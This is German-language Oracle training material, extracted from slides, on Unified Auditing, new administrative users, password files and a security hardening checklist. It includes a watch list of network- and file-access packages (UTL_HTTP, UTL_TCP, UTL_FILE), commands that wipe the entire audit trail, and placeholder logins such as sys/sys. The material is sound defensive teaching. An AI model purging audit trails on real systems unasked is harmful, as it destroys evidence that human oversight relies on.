Security II 8 - 21
Lohnenswerte Packages für die Überwachung
UTL_FILE
UTL_SMTP
APEX_MAIL
UTL_HTTP
UTL_TCP
UTL_INADDR
DBMS_SQL
DBMS_SYS_SQL
DBMS_FGA
DBMS_RLS
DBMS_CRYPTO
DBMS_JOB
DBMS_SCHEDULER
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-22
Stichwörter: Unified Auditing; Monitoring
Security II 8 - 22
Beispiel: Packageüberwachung
CREATE AUDIT POLICY MUSO_PACKAGE_POLICYACTIONS EXECUTE ON sys.utl_file,EXECUTE ON sys.utl_smtp,EXECUTE ON sys.utl_http,EXECUTE ON sys.utl_tcp,EXECUTE ON sys.utl_inaddr,EXECUTE ON sys.dbms_fga,EXECUTE ON sys.dbms_rls,EXECUTE ON sys.dbms_crypto,EXECUTE ON sys.dbms_job,EXECUTE ON sys.dbms_scheduler;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-23
Security II 8 - 23
Audit auf ObjekteRecht \ Objekt Table View Seq
uenceProcedureTrigger
Function
Package
Material.View
Directory
ObjectType
JavaObj
ALTER
AUDIT
COMMENT
DELETE
EXECUTE
FLASHBACK
GRANT
INDEX
INSERT
LOCK
RENAME
READ
SELECT
UPDATE
WRITE *
* Fehlt in der Doku 12.1.0.2, funktioniert aber.
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-24
Security II 8 - 24
Unified Autiting Bsp für Rollenbenutzung
Rolle anlegen und Rechte vergeben:
CREATE ROLE min_role;GRANT create tablespace TO min_role;GRANT MIN_ROLE, create session to scott;
Überwachen, wer die Rolle min_role verwendet hat:
CREATE AUDIT POLICY aud_role_pol ROLES min_role;
AUDIT POLICY min_role WHENEVER SUCCESSFUL;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-25
Security II 8 - 25
Unified Autiting Beispiele (f)
Lesezugriffe auf Directory DATA_PUMP_DIR überwachen :
CREATE AUDIT POLICY read_dir_pol ACTIONS READ ON DIRECTORY data_pump_dir;
Alle RDBMS Aktivitäten überwachen:
CREATE AUDIT POLICY all_actions_pol ACTIONS ALL;
Hinweis: RMAN Aktivitäten werden immer automatisch überwacht:
SELECT dbusername, rman_operationFROM unified_audit_trailWHERE rman_operation IS NOT NULL;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-26
Syntax:• CREATE AUDIT POLICY <policy_name> ACTIONS
COMPONENT=DATAPUMP { EXPORT | IMPORT | ALL };Beispiel: Datapump Export überwachen:
• CREATE AUDIT POLICY audit_expdp_pol ACTIONS COMPONENT=DATAPUMP EXPORT;
• AUDIT POLICY audit_expdp_pol ;Auswerten der Überwachung:
• SELECT DP_TEXT_PARAMETERS1, DP_BOOLEAN_PARAMETERS1 FROM UNIFIED_AUDIT_TRAILWHERE AUDIT_TYPE = 'DATAPUMP';
Stichwörter: Unified Auditing; Beispiele
Security II 8 - 26
SQL*Loader mittels AUDIT überwachen
Syntax:
CREATE AUDIT POLICY <policy_name> ACTIONS COMPONENT=DIRECT_LOAD { LOAD };
Beispiel:
CREATE AUDIT POLICY audit_sqlldr_pol ACTIONS COMPONENT=DIRECT_LOAD LOAD;
AUDIT POLICY audit_sqlldr_pol;
Überwachung:
SELECT DBUSERNAME, ACTION_NAME, OBJECT_SCHEMA, OBJECT_NAME, DIRECT_PATH_NUM_COLUMNS_LOADED FROM UNIFIED_AUDIT_TRAIL WHERE AUDIT_TYPE = 'DIRECT PATH API';
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-27
Stichwörter: Unified Auditing; SQL*LOADER; Monitoring
Security II 8 - 27
Vordefinierte Policies
ORA_SECURECONFIG (eingeschaltet !!)
Entspricht den aus Oracle Database 11 g bekannten Defaults
Ausschalten: NOAUDIT POLICY ORA_SECURECONFIG;
ORA_ACCOUNT_MGMT (disabled)
CREATE / ALTER / DROP USER
CREATE / ALTER / DROP / SET ROLE
GRANT, REVOKE
ORA_DATABASE_PARAMETER ( disabled)
ALTER DATABASE
ALTER SYSTEM
CREATE SPFILE
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-28
Folgende Komponenten lassen sich auditieren:• Data Pump • Database Vault • Data Mining • Label Security • Real Application Security • SQL Loader direct loads
Hinweis: • Auditing des RMAN wird über den RMAN selbst gesteuert
Security II 8 - 28
Audits abändern
Eine bestehende AUDIT Policy kann erweitert oder reduziert werden:
ALTER AUDIT POLICY <policy_name> [ ADD [privilege_audit_clause] [action_audit_clause] [role_audit_clause]] [ DROP[privilege_audit_clause] [action_audit_clause] [role_audit_clause]] [CONDITION {DROP | audit_condition EVALUATE PER {STATEMENT|SESSION|INSTANCE}}]
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-29
Weitere Syntax:ADD privilege_audit_clause := PRIVILEGES privilege1 [, privilege2]
ADD action_audit_clause := {standard_actions | comp onent_actions}
standard_actions := ACTIONS action1 [ ON {schema.ob j_name | DIRECTORY directory_name | MINING MODEL schema.obj_name } ] [, action2 [ ON {schema.obj_name | DIRECTORY directory_name | MINING MODEL schema.obj_name } ]
{ADD|DROP} role_audit_clause := ROLES role1 [, rol e2]
CONDITION 'audit_condition := function operation va lue_list' EVALUATE PER {STATEMENT|SESSION|INSTANCE}
Stichwörter: Unified Auditing; Policy
Security II 8 - 29
Beispiele zu Audits abändern
Zur Policy tab_audpol wird die Überwachung des Rechners "Bluemchen" hinzugefügt, wenn er einen Ins ert auf die dept Tabelle durchführt:
ALTER AUDIT POLICY tab_audpol ADD ACTIONS INSERT ON SCOTT.DEPT CONDITION q'!SYS_CONTEXT('HOST', 'MY_HOST') = 'BLUEMCHEN'!' EVALUATE PER SESSION;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-30
Stichwörter: Unified Auditing; Policy
Security II 8 - 30
Audit auswerten
SELECT TO_CHAR(EVENT_TIMESTAMP,'DD.MM.YY Hh24:MI:SS ') AS EVENT_TIMESTAMP,OS_USERNAME,DBUSERNAME,substr(clien t_program_name,1,30) client_prg, action_name,object_name,sql_text,system_privilege_u sedFROM UNIFIED_AUDIT_TRAILorder by 1 desc;
Hinweis: In der View V$UNIFIED_AUDIT_TRAIL ist die Datumsspalte im GMTFormat gespeichert (-1 bzw -2 Stunden zu unserer Ze it !)
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-31
Stichwörter: Unified Auditing; Auswerten
Security II 8 - 31
Unified Audit Tabellenspalten (Auswahl)
Spalte Beschreibung Spalte Beschreibung
os_username Nutzer im BS return_code Fehler wenn <>0
userhost Rechnername transaction_id Id der Transaction
terminal Terminalname scn System Change Nr.
dbid Id der DB object_schema beteil. Schema
authentication_type
Listener VerbindungsDaten
object_name Name des DB Objekts
dbusername DB Benutzer sql_text Auditierter Befehl
client_program_name
Name des ClientPrograms
system_privilege_used
Verwendetes Privileg
event_timestamp Aufzeichnungszeit unified_audit_policies
Durch welche Policies wurde aufgezeichnet ?
action_name Was wurde auditiert audit_type Aufzeichnungstyp
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-32
Security II 8 - 32
AUDIT_TYPE
Folgende AUDIT_TYPE Werte können aufgezeichnet werden:
Standard
FineGrainedAudit
XS
Database Vault
Label Security
RMAN_AUDIT
Datapump
Direct path API
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-33
Security II 8 - 33
Audit löschen
Sie löschen ein bestehendes Audit mittels:
DROP AUDIT POLICY <policy_name>;
Beispiel:
DROP AUDIT POLICY dml_pol;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-34
Stichwörter: Unified Auditing; löschen
Security II 8 - 34
Audit Einträge zeitgesteuert löschen
Job erstellen, der alle 96 Stunden Audit Einträge l öscht:BEGIN DBMS_AUDIT_MGMT.CREATE_PURGE_JOB ( AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, AUDIT_TRAIL_PURGE_INTERVAL => 96,/*Start alle 96 St unden*/ AUDIT_TRAIL_PURGE_NAME => 'AUDIT_CLEANUP', USE_LAST_ARCH_TIMESTAMP => TRUE, CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT);END;
use_last_arch_timestamp:
TRUE: Alle Audit Einträge vor dem letzten Zeitstemp el archivieren (Siehe Spalte last_archive_ts in DBA_AUDIT_MGMT_ARC H_TS)
FALSE: Alle Einträge löschen
Sie können das Intervall ändern mittels:DBMS_AUDIT_MGMT.SET_PURGE_JOB_INTERVAL
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-35
AUDIT_TRAIL_TYPE kann vom Typ sein:DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD: Standard Audit Tabelle aud$DBMS_AUDIT_MGMT.AUDIT_TRAIL_FGA_STD: Fine Grain Auditing Tabelle fga_log$DBMS_AUDIT_MGMT.AUDIT_TRAIL_DB_STD: Beide Tabellen aud$ und fga_log$DBMS_AUDIT_MGMT.AUDIT_TRAIL_OS: Dateien im OS mit Endung .aud (Windows verwendet das Eventlog und dort wird nicht gelöscht)DBMS_AUDIT_MGMT.AUDIT_TRAIL_XML: XML Audit Dateien im OSDBMS_AUDIT_MGMT.AUDIT_TRAIL_FILES: .AUD und .XML Dateien im OSDBMS_AUDIT_MGMT.AUDIT_TRAIL_ALL: Alle Audit Informationen (Dateien und Tabellendaten)DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED: Für Unified Auditing (ab 12c)
Hinweis:Alternativ können Sie auch einen Zeitpunkt festlegen, wo Audit Daten, die älter sind, gelöscht werden:
BEGINDBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP(
audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL _UNIFIED,last_archive_time => TO_TIMESTAMP( '09-AUG-2014 12:11:10.00 ','DD-MON-RRRR
HH24:MI:SS.FF'));DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(
audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_ TRAIL_UNIFIED,use_last_arch_timestamp => TRUE);
END;/
Stichwörter: Unified Auditing; löschen
Security II 8 - 35
Audit Einträge manuell löschen
Unified Audit Einträge vor dem letzten Zeitstempel sofort löschen:
BEGIN DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL( AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNI FIED, USE_LAST_ARCH_TIMESTAMP => TRUE, CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT ); END;
Container wird in der Pluggable Database verwendet und kann folgende Werte annehmen:
dbms_audit_mgmt.container_current: Nur für aktuelle n container
dbms_audit_mgmt.container_all: Für alle Container
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-36
Folgende AUDIT_TRAIL_TYPE Einträge werden unterstützt:AUDIT_TRAIL_UNIFIED
Für das normale Audit Trail gibt es weiterhin die Typen:AUDIT_TRAIL_AUD_STDAUDIT_TRAIL_FGA_STDAUDIT_TRAIL_DB_STD (both AUD + FGA)AUDIT_TRAIL_OSAUDIT_TRAIL_XMLAUDIT_TRAIL_FILES (both OS & XML)AUDIT_TRAIL_ALL
Weiteres Beispiel:Unified Audit Trail sofort komplett löschen:BEGINDBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,use_last_arch_timestamp => FALSE);END;/
Stichwörter: Unified Auditing; löschen
Security II 8 - 36
Audit Einträge löschen in Read Only DB
Ab Version 12.1.0.2 können auch in einer Read Only Datenbank alte Audit Einträge gelöscht werden
Beide Packageaufrufe sind nutzbar:
DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP
DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL
Neu hinzugekommen sind
DBMS_AUDIT_MGMT.GET_AUDIT_TRAIL_PROPERTY_VALUE (Zur Betrachtung der Parameter aus dem Speicher)
DBMS_AUDIT.MGMT.GET_LAST_ARCHIVE_TIMESTAMP (Zum Auslesen des Zeitstempels für Löscheoperationen)
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-37
Hinweis:Jedoch sind weiterhin folgende Packages in einer Read Only DB nicht verfügbar:•AUDIT_TRAIL_AUD_STD•AUDIT_TRAIL_FGA_STD•AUDIT_TRAIL_DB_STD•AUDIT_TRAIL_ALL
Security II 8 - 37
Mandatory Auditing
Startup Kommandos oder Befehle, die abgesetzt werde n, wenn die Datenbank nicht zum Schreiben zur Verfügung ste ht, werden auf der Betriebssystemebene erfasst
$ORACLE_BASE/audit/$ORACLE_SID (Endung *.bin)
Die Audit Daten können später in die Datenbank gela den werden
DBMS_AUDIT_MGMT.LOAD_UNIFIED_AUDIT_FILES
• Nur SYS und AUDIT_ADMIN haben Ausführungsberechtigu ng für das Package DBMS_AUDIT_MGMT
• Jede Ausführung des Package wird auditiert
Nach dem Laden der .bin Dateien in die Datenbank, s ollten Sie im Betriebssystem gelöscht werden (in 12.1.0.2 hatten wir aber einige Leichen weiter dort liegen ☺☺☺☺ )
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-38
• Laden großer Datenmengen beeinflusst eventuell die DB Performance • Aufzeichnung aller Befehle, die Auditing Verhalten beeinflussen • Befehle, die die Konfiguration von Database Vault beeinflussen
Security II 8 - 38
Audit Views
View Name Beschreibung
USER_/ALL_/DBA_AUDIT_POLICIES Alle Fine Grain Audit Policies für Benutzer/DBA
ALL_DEF_AUDIT_OPTS Objekte Audits für neu zu erstellende Objekte
AUDIT_UNIFIED_CONTEXTS App Context für Audit Trail
AUDIT_UNIFIED_ENABLED_POLICIES Alle eingeschaltenen Audit Policy
AUDIT_UNIFIED_POLICIES Alle existierenden Audit Policy
AUDIT_UNIFIED_POLICY_COMMENTS Kommentare für Audit Policy
AUDITABLE_SYSTEM_ACTIONS Auditierbare System Action zu Aktionsnamen
CDB_UNIFIED_AUDIT_TRAIL Für Root Container einer CDB: Wie UNIFIED_AUDIT_TRAIL, aber für alle PDB
DBA_XS_AUDIT_TRAIL Audit Trail Infos für Real Application Security
UNIFIED_AUDIT_TRAIL Anzeige aller Audit Einträge
V$UNIFIED_AUDIT_TRAIL Anzeige aller Audit Einträge aus Speicher
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-39
SELECT * FROM AUDIT_UNIFIED_ENABLED_POLICIES;
SELECT * FROM AUDIT_UNIFIED_POLICIES;
Management Views:SELECT * FROM DBA_AUDIT_MGMT_CONFIG_PARAMS;:
Stichwörter: Unified Auditing; Views
Security II 8 - 39
Kapitel 9Security
Security II 9-1
Neue Benutzer
APEX_040200 (APEX Entwicklungsbenutzer für Version 4.2 ohne Patch 4.2.5 !)
AUDSYS (Benutzer für Unified Audit zum Speichern vo n Audit Trail Records)
OJVMSYS (Oracle Java VM Benutzer)
SYSDG (zum Ausführen von Data Guard Operationen)
SYSBACKUP (für die Benutzung des RMAN)
SYSKM (Benutzer für Transparent Data Encryption)
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-2
Gelöschte Benutzer:CTXSYS (Context Benutzer)MGMT_VIEW (Enterprise ManagerSYSMAN (Enterprise Manager)
Stichwörter: Benutzer
Security II 9-2
Neue Parameter für Passwort-Datei
Usage: orapwd file=<fname> entries=<users> force=<y /n> ignorecase=<y/n>asm=<y/n> dbuniquename=<dbname> extended=<y/n> sysb ackup=<y/n>sysdg=<y/n>
where
file - name of password file (required),password - password for SYS will be prompted if not specified at command line,entries - maximum number of distinct DBA (optional),force - whether to overwrite existing file (optional ),ignorecase - passwords are case-insensitive (optiona l),asm - indicates that the password to be stored in Au tomatic Storage Management (ASM) disk group is an ASM password. (optional).dbuniquename - unique database name used to identify database password files residing in ASM diskgroup only. Ignored when asm option is s pecified (optional),extended - use the extended format for SYSBACKUP, SY SDG, and SYSKM support and for longer identifiers (optional),sysbackup - create SYSBACKUP entry (optional and req uires the the extended format)sysbackuppwd - password for SYSBACKUP will be prompt ed if not specified at command line,sysdg - create SYSDG entry (optional and requires th e extended format),sysdgpwd - password for SYSDG will be prompted if no t specified at command line.
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-3
Stichwörter: Passwort-Datei
Security II 9-3
System Benutzer in der Passwortdatei
GRANT SYSOPER TO muso_sysoper IDENTIFIED BY p;
GRANT SYSASM TO muso_sysasm IDENTIFIED BY p; -- In A SM !
GRANT SYSBACKUP TO muso_sysbackup IDENTIFIED BY p;
GRANT SYSDG TO muso_sysdg IDENTIFIED BY p;
GRANT SYSKM TO muso_syskm IDENTIFIED BY p;
SELECT * FROM v$pwfile_users;
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-4
Welche Rechte haben die neuen Benutzer: SYSBACKUP:•STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SYSTEM •ALTER SESSION •ALTER TABLESPACE •CREATE CONTROLFILE •CREATE ANY DIRECTORY •CREATE ANY TABLE •CREATE ANY CLUSTER •CREATE PFILE •CREATE RESTORE POINT (inclusive GUARANTEED restore points) •CREATE SESSION •CREATE SPFILE •DROP DATABASE •DROP TABLESPACE •DROP RESTORE POINT (inclusive GUARANTEED restore points) •FLASHBACK DATABASE •RESUMABLE •UNLIMITED TABLESPACE •SELECT ANY DICTIONARY •SELECT ANY TRANSACTION •SELECT
• X$ tables (fixed tables) • V$ and GV$ views (dynamic performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN • SYSTEM.LOGSTDBY$PARAMETERS
•DELETE/INSERT • SYS.APPLY$_SOURCE_SCHEMA • SYSTEM.LOGSTDBY$PARAMETERS
•EXECUTE • SYS.DBMS_BACKUP_RESTORE • SYS.DBMS_RCVMAN • SYS.DBMS_DATAPUMP • SYS.DBMS_IR • SYS.DBMS_PIPE • SYS.SYS_ERROR • SYS.DBMS_TTS • SYS.DBMS_TDB • SYS.DBMS_PLUGTS • SYS.DBMS_PLUGTSP
• SELECT_CATALOG_ROLE
Stichwörter: Passwort-Datei, Neue System Benutzer; SYSBACKUP
Security II 9-4
Übersicht der Rechte pro Benutzer
Die drei neuen Benutzer können nicht mehr gelöscht werden
Startup/Shutdown
ALTER DBOPENMOUNTBACKUPARCHIVE LOG
RECOVERDB
SELECT auf APP Tabellen
CHANGECHARACTERSET
CREATE,DROP DB
CREATESPFILE
RESTRICTEDSESSION
Schema/GrundPrivilegien
SYSDBA(ab 8.0)
SYS
SYSOPER(ab 8.0)
Vollständig PUBLIC
SYSBACKUP(ab 12.1)
CREATE SYSBACKUP
SYSDG(ab 12.1)
SYSDG
SYSKM(ab 12.1)
SYSKM
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-5
Welche Rechte haben die neuen Benutzer: SYSDG
•STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SESSION •ALTER SYSTEM •CREATE RESTORE POINT (including GUARANTEED restore points) •CREATE SESSION •DROP RESTORE POINT (including GUARANTEED restore points) •FLASHBACK DATABASE •SELECT ANY DICTIONARY •SELECT
• X$ tables (fixed tables) • V$ and GV$ views (performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN
•DELETE • APPQOSSYS.WLM_CLASSIFIER_PLAN
•EXECUTE • SYS.DBMS_DRS
Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG
Security II 9-5
SYSDBA Ersatz
Für bestimmte administrative Aufgaben stehen nun abgeschwächte Rechte zur Verfügung:
SYSBACKUP
für Backup & Recovery Aufgaben mittels RMAN oder SQL*Plus
rman target '"sys/sys as sysbackup"'
SYSDG
zur Verwaltung des Oracle Data Guard oder des dgmgr l Tools
SYSKM
zur Verwaltung des Encryption Key Managements (Transparent Data Encryption Wallet)
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-6
Welche Rechte haben die neuen Benutzer: SYSKM
•ADMINISTER KEY MANAGEMENT •CREATE SESSION •SELECT (nur wenn DB geöffnet ist)
• SYS.V$ENCRYPTED_TABLESPACES • SYS.V$ENCRYPTION_WALLET • SYS.V$WALLET • SYS.V$ENCRYPTION_KEYS • SYS.V$CLIENT_SECRETS • SYS.DBA_ENCRYPTION_KEY_USAGE
Zusätzlich erlaubt das SYSKM eine Anmeldung an einer nicht gestarteten DB
Stichwörter: SYSKM
Security II 9-6
Anmeldung als SYSBACKUP
sqlplus sys/sys as sysbackup
Welche SYSTEM-Rechte besitzt man nun ?SYSBACKUP
SELECT ANY TRANSACTION
SELECT ANY DICTIONARY
RESUMABLE
CREATE ANY DIRECTORY
ALTER DATABASE
AUDIT ANY
Welche Objektrechte hat man ? SQL> select * from scott.emp;
���� ORA-01031: insufficient privileges
Bis auf Verwaltungstabellen keine
CREATE ANY CLUSTER
CREATE ANY TABLE
UNLIMITED TABLESPACE
DROP TABLESPACE
ALTER TABLESPACE
ALTER SESSION
ALTER SYSTEM
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-7
Anmeldung beim RMAN% rman RMAN> CONNECT TARGET "mysys@prod AS SYSBACKUP"
target database Password:connected to target database: O12C (DBID=3443393097 )
Laut Handbuch sollte auch folgende Anmeldung funktionieren (leider stimmt das nicht ganz (Stand Jan 2014)):rman target='sys/sys as sysdba' undrman target='sys/sys as sysbackup'
Denn auch Folgendes akzeptiert der RMAN unter Windows anstandslos:rman target='sys i /sys as sysbackup i '
Stichwörter: Benutzer; SYSBACKUP
Security II 9-7
Erweitertes CREATE USER Kommando
CREATE USER c## scottIDENTIFIED BY tigerDEFAULT TABLESPACE users QUOTA 100M ON test_ts QUOTA 500K ON data_ts TEMPORARY TABLESPACE temp_ts PROFILE def_profileCONTAINER = CURRENT| ALL ;
CONTAINER = CURRENT : Für lokalen Benutzer in lokal er PDB, bei der man angemeldet ist
CONTAINER = ALL : Wenn man an der CDB$ROOT angemeldet ist muss Benutzername mit c## beginnen
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-8
Hinweis
Wenn ein Common User erstellt wurde, müssen in allen Containern (PDBs) die folgenden Objekte die refernziert wurden auch vorhanden sein:
•DEFAULT TABLESPACE•TEMPORARY TABLESPACE•QUOTA•PROFILE
Stichwörter: Create
Security II 9-8
Benutzer anlegen in CDB
Benutzer, die in einer Container DB auf PDB$SEED angelegt werden, müssen mit dem Prefix c## oder C## beginnen
Beispiel:
CREATE USER c## comm_user IDENTIFIED BY comm_pwd DEFAULT TABLESPACE users QUOTA 32M ON users TEMPORARY TABLESPACE temp PROFILE comm_prof;
Die Tablespaces users und temp und das Profile comm_prof müssen in allen Containern, die zur DB gehören existieren
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-9
CREATE USER Klausel ab 12c:
CREATE USERuser IDENTIFIED { BY password | EXTERNALLY [ AS'certificate_DN' | AS 'kerberos_principal_name' ] | GLOBALLY [ AS '[ directory_DN ]' ] } [ DEFAULT TABLESPACEtablespace | TEMPORARY TABLESPACE{ tablespace | tablespace_group_name } | { QUOTA{ size_clause | UNLIMITED } ON tablespace }... | PROFILE profile | PASSWORD EXPIRE| ACCOUNT{ LOCK | UNLOCK} | ENABLE EDITIONS | CONTAINER= { CURRENT| ALL } ]... ] ;
Stichwörter: Create, Benutzer
Security II 9-9
Fehlerhafter Login / Login Zeit
Nach einer falschen Passworteingabe in SQL*Plus erh ält man nach erfolgreicher Anmeldung
Die letzte Login Zeit wird in user$ aufgezeichnet u nd beim nächsten Anmelden bei SQL*Plus angezeigt.
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-10
Stichwörter: Login
Security II 9-10
Oracle Maintained Rollen/Benutzer
Oracle dokumentiert, welche Rollen und Benutzer dur ch die Standardskripten erstellt wurden und welche vom Benutzer manuell angelegt wurden
Welche Rechte/Rollen wurden nicht von Oracle erzeug t ?
SELECT username FROM dba_usersWHERE oracle_maintained = 'N';
SELECT roleFROM dba_roles
WHERE oracle_maintained = 'N';
Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-11
Stichwörter: Rollen, Benutzer
Security II 9-11
Kapitel 10Checkliste
Einleitung
Die nachfolgende Checkliste sollen Ihnen helfen, Ih re Datenbank sicherer zu machen
Wir haben uns auf die wichtigsten Punkte beschränkt
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 2
Installieren Sie nur die Oracle Produkte und Optionen, die Sie wirklich benötigen. So ist ein Apache Webserver häufig nicht notwendig. Auch diverse Optionen wie Spatial oder OLAP installieren Accounts und damit potenzielle Angriffsziele für Hacker.
Passwörter ändern/Benutzer sperren
Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die Passwörter geändert werd en
ALTER USER SYSTEM IDENTIFIED BY <neupwd>;
Sperren Sie alle unnötigen Accounts
ALTER USER OUTLN ACCOUNT LOCK;
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 3
Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die Passwörter geändert werden
ALTER USER SYSTEM IDENTIFIED BY <neupwd>;ALTER USER SYS IDENTIFIED BY <neupwd>;
Auch alle weiteren auf dem System installierten Benutzer sollten schwer zu knackende Passwörter bekommen.
Sperren Sie alle unnötigen Accounts. Damit ist es auch bei bekanntem Passwort unmöglich, sich unter diesem Account anzumelden.
ALTER USER CTXSYS ACCOUNT LOCK;ALTER USER MDSYS ACCOUNT LOCK;
Auch im Betriebssystem sollten nur alle wirklich notwendigen Benutzer noch existieren. Vergeben Sie nur die notwendigen Betriebssystemrechte an die Benutzer.
Rechteüberprüfung/Netzwerk
Prüfen Sie die Vergabe der Rechte an die Benutzer genau.
Welche Rechte sind zwingend nötig, welche nicht ?
Welche Rechte wurden an Public vergeben? UTL_FILE?
Verschlüsseln Sie den Netzwerkverkehr
Verwenden Sie Firewalls
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 4
Wenn Teile einer Tabelle geschützt werden sollen, legen Sie eine View über die Tabelle, entziehen Sie die Lese- und Schreibrechte von der Tabelle und vergeben Sie die gewünschten Rechte auf die View.
Verschlüsseln Sie den Netzwerkverkehr mittels der Advanced Networking Option. Sollten die Clients außerhalb des Firmennetzwerks sein, wird der Einsatz von Firewalls empfohlen.Der Listener sollte gegen Änderungen im laufenden Betrieb gesichert werden. Auch der Einsatz eines Passworts für die Administration wird empfohlen.Schließen Sie alle unberechtigten Clients von der Kommunikation von Oracle aus. (tcp.validnode_checking)
INIT.ORA Parameter Prüfung
dblink_encrypt_login=true
remote_os_authent=false
remote_os_roles=false
o7_dictionary_accessibility=false
sql92_security=true
global_names=true
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 5
Folgende init.ora Parameter sollten gesetzt sein:
dblink_encrypt_login=trueDieser Parameter verhindert, dass Passwörter zwischen Datenbanken jemals unverschlüsselt übertragen werden können
remote_os_authent=falseEine externe Authentifizierung ist damit nicht möglich
remote_os_roles=falseExterne Rollen sind damit ausgeschalten
o7_dictionary_accessibility=falseDer Zugriff auf den internen Verwaltungsapparat wird damit beschränkt
sql92_security=trueDamit wird bei einem DELETE-Recht auf eine Tabelle auch ein SELECT Recht benötigt
global_names=trueDamit muss ein Datenbank-Link so wie die zugehörige Datenbank heißen
Prüfung auf neusten Patch
Prüfen Sie Ihre Datenbank auf den neusten Patch
SELECT comp_name,version,statusFROM dba_registry;
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 6
Hinweis: Ausführliche Version:SELECT comp_name,status,modified,version,case WHEN version like '8.1.7%' then '8.1.7.4' WHEN version like '9.2.0%' then '9.2.0.8'WHEN version like '10.1.%' then '10.1.0.6' -- Bitte höchsten Patchlevel eintragenWHEN version like '10.2.%' then '10.2.0.5' -- Bitte höchsten Patchlevel eintragenWHEN version like '11.1.%' then '11.1.0.7' -- Bitte höchsten Patchlevel eintragenWHEN version like '11.2.%' then '11.2.0.4' -- Bitte höchsten Patchlevel eintragenWHEN version like '12.1.%' then '12.1.0.2' -- Bitte höchsten Patchlevel eintragenWHEN comp_name='Oracle Application Express' then '4 .2.5' -- Bitte höchsten Patchlevel eintragenELSE '??'end "MaxPatchlevel", case WHEN version like '8.1.7%' then decode (replace(ver sion,'.','')-8174,0,'OK','UPGRADE ###')WHEN version like '9.2.0%' then decode (replace(ver sion,'.','')-92080,0,'OK','UPGRADE ###')WHEN version like '10.1.%' then decode (replace(ver sion,'.','')-101060,0,'OK','UPGRADE ###')WHEN version like '10.2.%' then decode (replace(ver sion,'.','')-102040,0,'OK','UPGRADE ###')WHEN version like '11.1.%' then decode (replace(ver sion,'.','')-111060,0,'OK','UPGRADE ###')WHEN version like '11.2.%' then decode (replace(ver sion,'.','')-112030,0,'OK','UPGRADE ###')WHEN version like '12.1.%' then decode (replace(ver sion,'.','')-121020,0,'OK','UPGRADE ###')WHEN comp_name='Oracle Application Express' then de code (replace(version,'.','')-4250008,0,'OK','UPGRADE ###')ELSE '??'end "UPGRADE?"FROM dba_registry;
Prüfung auf neuen PWD Algorithmus
Ab Version 12c sollte der alte Passwort-Algorithmus abgeschalten werden
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 (ab 11.2.0.3 )
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a(ab 12.1.0.2)
SELECT username,password_versions,account_status,expiry_da te FROM dba_usersWHERE password_versions LIKE '%10G%' AND account_status NOT LIKE '%LOCKED%';
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 7
Welche Policies sind im Einsatz
SELECT u.name object_owner, o.name object_name, r.g name policy_group, r.pname policy_name,r.pfschma pf_owner, r.ppname "package", r.pfname "f unction",
